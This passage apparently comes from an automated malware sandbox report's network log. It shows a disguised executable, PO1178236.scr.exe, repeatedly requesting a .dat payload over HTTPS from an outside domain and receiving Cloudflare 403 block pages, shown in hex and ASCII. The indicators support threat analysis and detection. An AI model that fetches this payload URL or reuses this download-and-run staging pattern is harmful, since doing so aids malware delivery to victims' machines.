20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b64898a342ca</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:42 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 34 38 39 38 61 33 34 32 63 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 69 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b64898a342ca',t:'MTczNjQwNzcyMi4wMDAwMDA=
2025-01-09 07:28:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:42 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:42 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABSUp%2F%2BQQSsvFmpcJ7rBJdcxz0eyiCmQEqWyZb%2FWz8s%2BZz0bzypYDBT5VVnXzorri5e8B0fviDxhhT2gvZsPfvyKRcTspxMZOlz%2Bmirj17S0DowJkA2AuknwNQiKADOeZ299wtF7W2UZ%2BAa%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b64c5ccd41ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1747&rtt_var=668&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1671436&cwnd=192&unsent_bytes=0&cid=61d406477a674366&ts=149&x=0"
2025-01-09 07:28:42 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 34 63 35 63 63 64 34 31 62 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b64c5ccd41ba</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:42 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 34 63 35 63 63 64 34 31 62 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 69 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b64c5ccd41ba',t:'MTczNjQwNzcyMi4wMDAwMDA=
2025-01-09 07:28:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:43 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:43 UTC	1002	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lahk5wGF%2FFCZzgGJuQ1W3HDRZek8wjOj69IwGhPYX%2BJn2c1BZswK9WZy4ZfQZuwLkn8yD5MqRdUmQ4urIBF2VcAMAKShkqOuGt3ZHI4mr2vMq6KvBbNqAQuTBwU3WObcU8bVBuXsVQGqqbyr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b65069e94397-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1566&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1815920&cwnd=79&unsent_bytes=0&cid=ba8b70bb434dc3f8&ts=137&x=0"
2025-01-09 07:28:43 UTC	367	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:43 UTC	1369	IN	Data Raw: 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d Data Ascii: </title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-
2025-01-09 07:28:43 UTC	1369	IN	Data Raw: 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d Data Ascii: ighlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-
2025-01-09 07:28:43 UTC	1369	IN	Data Raw: 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 35 30 36 39 65 39 34 33 39 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b65069e94397</strong></span> <span class="cf-footer-separator sm:hidden">&bu
2025-01-09 07:28:43 UTC	995	IN	Data Raw: 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 35 30 36 39 65 39 34 33 39 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f Data Ascii: _cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b65069e94397',t:'MTczNjQwNzcyMy4wMDAwMDA='};var a=do
2025-01-09 07:28:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:44 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:44 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W4PO9xDhCcf7l2TRpJ%2Fm%2FXlsAkHC2%2Bfkse4aDMBBl7w51s4CCONzFoIm099q3PqijxzGl4CphbxClOyZp8IjMqFljWtiWj%2FWACBbCMY9cEdWoqQaJS%2B3gukO4KFQ3AB%2B%2F84KRn5szGYuywuI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6543aa542e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1747&rtt_var=694&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1671436&cwnd=187&unsent_bytes=0&cid=dd17aacc32406a21&ts=135&x=0"
2025-01-09 07:28:44 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 35 34 33 61 61 35 34 32 65 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6543aa542e2</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:44 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 35 34 33 61 61 35 34 32 65 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 43 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6543aa542e2',t:'MTczNjQwNzcyNC4wMDAwMDA=
2025-01-09 07:28:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:44 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
